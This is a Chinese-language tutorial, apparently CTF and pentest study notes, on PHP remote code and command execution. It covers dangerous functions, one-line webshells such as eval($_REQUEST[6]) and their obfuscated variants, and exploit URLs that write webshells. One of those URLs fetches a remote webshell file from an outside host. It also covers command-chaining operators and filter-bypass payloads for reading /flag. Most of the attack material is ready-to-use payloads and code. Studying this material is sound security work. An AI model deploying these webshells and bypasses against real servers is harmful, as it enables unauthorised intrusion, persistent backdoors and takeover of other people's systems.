RCE攻击
一、基础知识
1.1 RCE介绍
RCE(remote command/code execute)即远程命令/代码执行。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
1.2 RCE分类
RCE分为远程命令执行(ping)和远程代码执行(eval)
1.3 RCE原理
在web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用执行函数去处理。比如当应用在在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
1.4 RCE执行函数
在PHP中代码执行所涉及的函数有:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、文件操作函数、动态函数($a($b))
在PHP中命令执行所涉及的函数有:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
二、RCE------远程代码执行漏洞
2.1 eval()
在PHP官方解释中,认为eval不属于函数,而是属于语句
在PHP中如果要禁用一些危险函数,我们使用的方法是,打开PHP.ini,disable_functions = ,在配置文件中,如果通过此方法禁用eval函数,是不生效的。所以也可以得出结论,eval并不属于函数
此函数可以将字符串解析成代码来执行,常用语一句话木马
php
<?php
eval($_REQUEST[6]);
?>
一句话的变种:
<?php
$a = str_replace('x','','exxxvxxxaxxxlxxx');
?>
Fatal error:Call to undefined function eval(),因为eval不是函数,所以这种方法用不了
2.2 assert()
如果assertion是字符串,它将会被assert()当作PHP代码来执行
php
<?php
assert($_REQUEST[6]);
?>
一句话的变种:
<?php
$a = str_replace('x','','xaxxxsxxxsxxxexxxrxxxt');
$a($_REQUEST[6]);
?>
在用法上,assert与eval是比较像的,它们的区别是eval并不是函数,assert是函数,然后eval一次性可以执行多条语句,而assert一次性只能执行一条语句
禁用assert函数的方法:
php
disable_function = assert
函数被禁用以后,页面会出现以下报错:
Warning:assert() has been disabled for security reasons
2.3 preg_replace(1,2,3)
php
参数说明:
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组
$subject:要搜索替换的目标字符串或字符串数组
preg_replace函数是执行一个正则表达式的搜索和替换,但因为存在一个危险的模式修正符/e,使得此函数可以将replacement参数当作PHP代码来执行
$text = "apple orange apple";
$result = preg_replace("/e", "banana", "$text");
在漏洞利用时,注意:
1、PHP版本问题:在PHP7版本中,已经不再支持/e修正符
2、如果正则表达式可控,且替换的参数也可控,PHP版本为5版本,并且有/e修正符,此函数就可以被利用
利用方法:
php
echo preg_replace("/o/e",$_REQUEST[6],'helloworld'); //用户可控制的第六个请求参数
http://www.5isec.cn/2022-12-2/demo1.php?6=phpinfo();
2.4 create_function()
php
string create_function(string $args, string $code)
参数说明:
string $args 函数参数部分
string $code 函数体代码部分
此函数是用来创建一个匿名函数,它会在内部去执行一个eval操作,如果对传参没有做过滤,攻击者可以构造特殊的字符串传递给此函数来执行执行任意命令
函数利用:
php
//一个正常函数的写法
function add($a,$b){
echo $a+$b;
}
add(10,20);
//在上述函数中,$a/$b是形参
//echo 语句是函数体
//使用create_function来创建匿名函数
$func = create_function('$a,$b','echo $a+$b;');
$func(10,20);
//此函数的利用
//传参
$args = $_REQUEST['args'];
//函数体
$func_body = $_GET['func_body'];
//使用create_function来创建函数
if($args&&$func_body){
$func = create_function($args,$func_body);
$func();
}
//函数的调用
//http://www.5isec.cn/2022-12-2/demo1.php?args=$a='Jerry'&func_body=echo $a;
//可以打印出Jerry
//http://www.5isec.cn/2022-12-2/demo1.php?
args=$a='Jerry'&func_body=phpinfo(); //可以打印出phpinfo();
注意:
此函数在PHP7中也被弃用
如果在后期测试过程中发现了此危险函数,如果函数的传参是可控的,那么此函数可以被利用。如果传参是固定的,也就是写死了,那么这个函数无法利用。
2.5 array_map
array_map为数组的每个元素应用回调函数
array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组
回调函数接受的参数数目应该和传递给array_map()函数的数组数目一致
此函数的利用方法:
php
//array_map函数的常规用法
//定义一个回调函数,把函数未来作为一个传参来应用,这个传进来的函数就是一个回调函数
function add($a){
return $a*10;
}
$array = [2,6,8,9,10];
echo "原数组的内容为:";
print_r($array);
echo "<hr>";
//执行array_map函数
$array = array_map("add",$array);
echo "应用array_map函数后数组的内容为:";
print_r($array);
//最后输出的结果为:
//原数组的内容为:Array ( [0] => 2 [1] => 6 [2] => 8 [3] => 9 [4] => 10 )
//应用array_map函数后数组的内容为:Array ( [0] => 20 [1] => 60 [2] => 80 [3] =>
90 [4] => 100 )
//此函数的利用方法
//前提是array_map的两个传参需要可控
$func = $_GET['func'];
$args = $_GET['args'];
if($func&&$args){
$array[0]=$args;
// print_r($array);
$array = array_map($func,$array);
}
//http://www.5isec.cn/2022-12-2/demo2.php?args=whoami&func=system //返回结
果:system('whoami');
//http://www.5isec.cn/2022-12-2/demo2.php?args=phpinfo()&func=assert //输出
Phpinfo信息
//可以使用file_put_contents函数来写webshell
//http://www.5isec.cn/2022-12-2/demo2.php?
args=file_put_contents(%27shell.php%27,%27%3C?
php%20assert($_REQUEST[6]);%27)&func=assert
2.6 call_func()
把第一个参数作为回调函数调用
php
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
此函数的利用方法与array_map几乎一致
利用方法:
php
//定义传参
$func = $_GET['func'];
$args = $_GET['args'];
if($func&&$args){
call_user_func($func,$args);
}
//http://www.5isec.cn/2022-12-2/demo3.php?func=assert&args=phpinfo() //可以输
出PHPINFO信息
2.7 array_filter
用回调函数过滤数组中的单元
php
array array_filter( array $array[, callable $callback[, int $flag = 0]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array
数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
利用方法:
php
//定义传参
$func = $_GET['func'];
$args = $_GET['args'];
if($func&&$args){
$array[0]=$args;
array_filter($array,$func);
}
//http://www.5isec.cn/2022-12-2/demo3.php?func=assert&args=phpinfo() //可以
输出PHPINFO信息
2.8 file_put_contents
将一个字符串写入文件
php
filename 要被写入数据的文件名
data 要写入的数据
此函数的利用:
php
//file_put_contents函数的常规用法
//file_put_contents('test.txt','hello world');
//如果关于此函数的两个参数可控,那么就可以利用
$filename = $_GET['name'];
$data = $_GET['data'];
//函数利用
if($filename&&$data){
//接收远端服务器的数据
$content = file_get_contents($data);
//将数据存入到文件中
file_put_contents($filename,$content);
}
http://www.5isec.cn/2022-12-2/demo4.php?
name=shell.php&data=http://sdnall.top/shell.txt //shell.txt中是一句话木马,使
用此方法可创建一个木马文件
2.9 双引号解析
php
//使用双引号来解析变量
//$a = 10;
////$b = "$a"; //使用双引号来包裹,可以成功解析变量
//$b = '$a';
//echo $b;
//echo '网站的信息为${phpinfo()}'; --无法解析
//使用双引号来解析函数,必须确保PHP的版本为5.5以上
//echo "网站的信息为${phpinfo()}"; ---可以成功解析函数
//写一个demo,最终实现用户传参数据的用户名以及密码,将用户的账号密码保存下来
$user = $_GET['user'];
$passwd = $_GET['passwd'];
if($user && $passwd){
//如果用户有传参,我们需要将用户的传参写入到配置文件中
file_put_contents("config.php",'<?php'."\n");
file_put_contents("config.php",'//数据库的用户名'."\n",FILE_APPEND);
file_put_contents("config.php",'$user = "'.$user.'";'."\n",FILE_APPEND);
file_put_contents("config.php","//数据库的密码"."\n",FILE_APPEND);
file_put_contents("config.php",'$passwd =
"'.$passwd.'";'."\n",FILE_APPEND);
}
//漏洞的利用
//http://www.5isec.cn/2022-12-2/demo5.php?
user=admin&passwd=${assert($_REQUEST[6])}
//利用双引号解析,成功写马
//数据库的用户名
$user = "admin";
//数据库的密码
$passwd = "${assert($_REQUEST[6])}";
三、RCE------远程命令执行漏洞
在PHP中命令执行所涉及的函数有:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
3.1 system
执行外部程序,并且显示输出
php
string system ( string $command [, int&$return_var ] )
本函数执行 command 参数所指定的命令,并且输出执行结果。
成功则返回命令输出的最后一行,失败则返回 FALSE
//调用SYSTEM函数去执行系统命令
system('whoami'); //输出结果为jimbo-pc\administrator
//使用SYSTEM函数去执行ping命令
system("ping 127.0.0.1");
//使用此函数写webshell
system('echo "<?php eval($_REQUEST[6]);?>" > s.php')
3.2 exec
执行外部程序,并且显示输出
php
string exec( string $command[, array &$output[, int &$return_var]] )
exec() 执行 command 参数所指定的命令。
//执行系统命令
exec('whoami',$arr);
//显示执行的结果
print_r($arr);
//使用此函数写webshell
exec('echo "<?php eval($_REQUEST[6]);?>" > s.php');
此函数与system用法几乎一致,区别在于SYSTEM函数自己可以独立输出,exec需要使用特定的方法来输出
3.3 shell_exec
通过shell环境执行命令,并且将完整的输出以字符串的方式返回
php
$res = shell_exec("whoami");
print_r($res); //jimbo-pc\administrator
3.4 passthru
执行外部程序并且显示原始输出
php
void passthru( string $command[, int &$return_var] )
同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。
passthru('whoami'); //直接输出结果到浏览器
passthru('ping 127.0.0.1');
3.5 popen
php
resource popen( string $command, string $mode)
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
当模式为 'r',返回的文件指针等于命令的 STDOUT,当模式为 'w',返回的文件指针等于命令的
STDIN。
//返回的值为一个资源对象
$res = popen('whoami','r');
//var_dump($res);
//使用fread去读取资源数据
echo fread($res,2048); //jimbo-pc\administrator
3.6 反引号``
php
<?php
if(isset($_GET['CMD'])){
$info = $_GET['CMD'];
print `$info`;
}else{
echo '命令错误'
}
?>
四、命令连接符
4.1 windows
'|' :直接执行后面的语句
ping 127.0.0.1 | whoami
jimbo-pc\administrator
'||' : 如果前面执行的语句出错,则执行后面的语句,如果要执行后面的语句,则前面的语句只能出
错。
C:\Users\Administrator>ping 2 || whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.2 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
jimbo-pc\administrator
'&' : 两条命令都会执行,如果前面语句为假时,则只执行后面的语句
C:\Users\Administrator>ping 2 & whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.2 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
jimbo-pc\administrator
'&&' : 如果前面的语句为假则不执行后面的语句,所以要想执行后面的语句,前面的语句必须为真
C:\Users\Administrator>ping 2 && whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.2 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
4.2 Linux
';' : 多条语句会依次执行
[root@jimbo home]# whoami ; ping 127.0.0.1
root
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.042 ms
'|' : 直接执行后面语句
[root@jimbo home]# ping 127.0.0.1 | whoami
root
'||' :当前面的语句执行出错时,执行后面的语句
[root@jimbo home]# ping 2 || whoami
connect: Invalid argument
root
[root@jimbo home]# whoami || ping 127.0.0.1
root
'&' : 如果前面的语句执行失败,则执行后面的语句。相当于两条语句都会执行。
[root@jimbo ~]# whoami & ping 127.0.0.1
[1] 872707
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.033 ms
root
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.034 ms
[root@jimbo ~]# ping 2 & whoami
[1] 873641
connect: Invalid argument
root
[1]+ Exit 2 ping 2
'&&' : 如果前面的语句执行失败,则后面语句也不执行,所以如果要执行后面语句,前面语句必须为
真。
[root@jimbo ~]# ping 2 && whoami
connect: Invalid argument
[root@jimbo ~]# whoami && ping 127.0.0.1
root
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms
RCE绕过
管道符
| 管道符 | 实例 | 描述 |
|---|---|---|
| ; | A;B | 无论真假,A与B都执行 |
| & | A&B | 无论真假,A与B都执行 |
| && | A&&B | A为真时才执行B,否则只执行A |
| | | A|B | 显示B的执行结果 |
| || | A||B | A为假时才执行B,否则只执行A |
空格过滤
| < | <> | %20(即space) |
|---|---|---|
| %09(即tab) | IFS9 | ${IFS} |
| $IFS | {cat,/flag} |
反斜杠\绕过
php
//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /
取反绕过
php
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
正则绕过
//如flag被过滤
cat /fl*
cat /f???
cat /f[a-z]{3}
引号绕过
//如cat、ls被过滤
ca""t /flag
l's' /
cat替换命令
| more | less | cat | tac |
|---|---|---|---|
| head | tail | vi | vim |
| nl | od | sort | uniq |
| tac | 与cat相反,按行反向输出 |
|---|---|
| more | 按页显示,用于文件内容较多且不能滚动屏幕时查看文件 |
| less | 与more类似 |
| tail | 查看文件末几行 |
| head | 查看文件首几行 |
| nl | 在cat查看文件的基础上显示行号 |
| od | 以二进制方式读文件,od-A d -c /flag转人可读字符 |
| xxd | 以二级制方式读文件,同时有可读字符显示 |
| sort | 排序文件 |
| uniq | 报告或删除文件的重复行 |
| file -f | 报错文件内容 |
| grep | 过滤查找字符串,grep flag /flag |
?c=echo%09`nl%09fl*`;
?c=eval($_GET[a]);&a=system("tac fl*")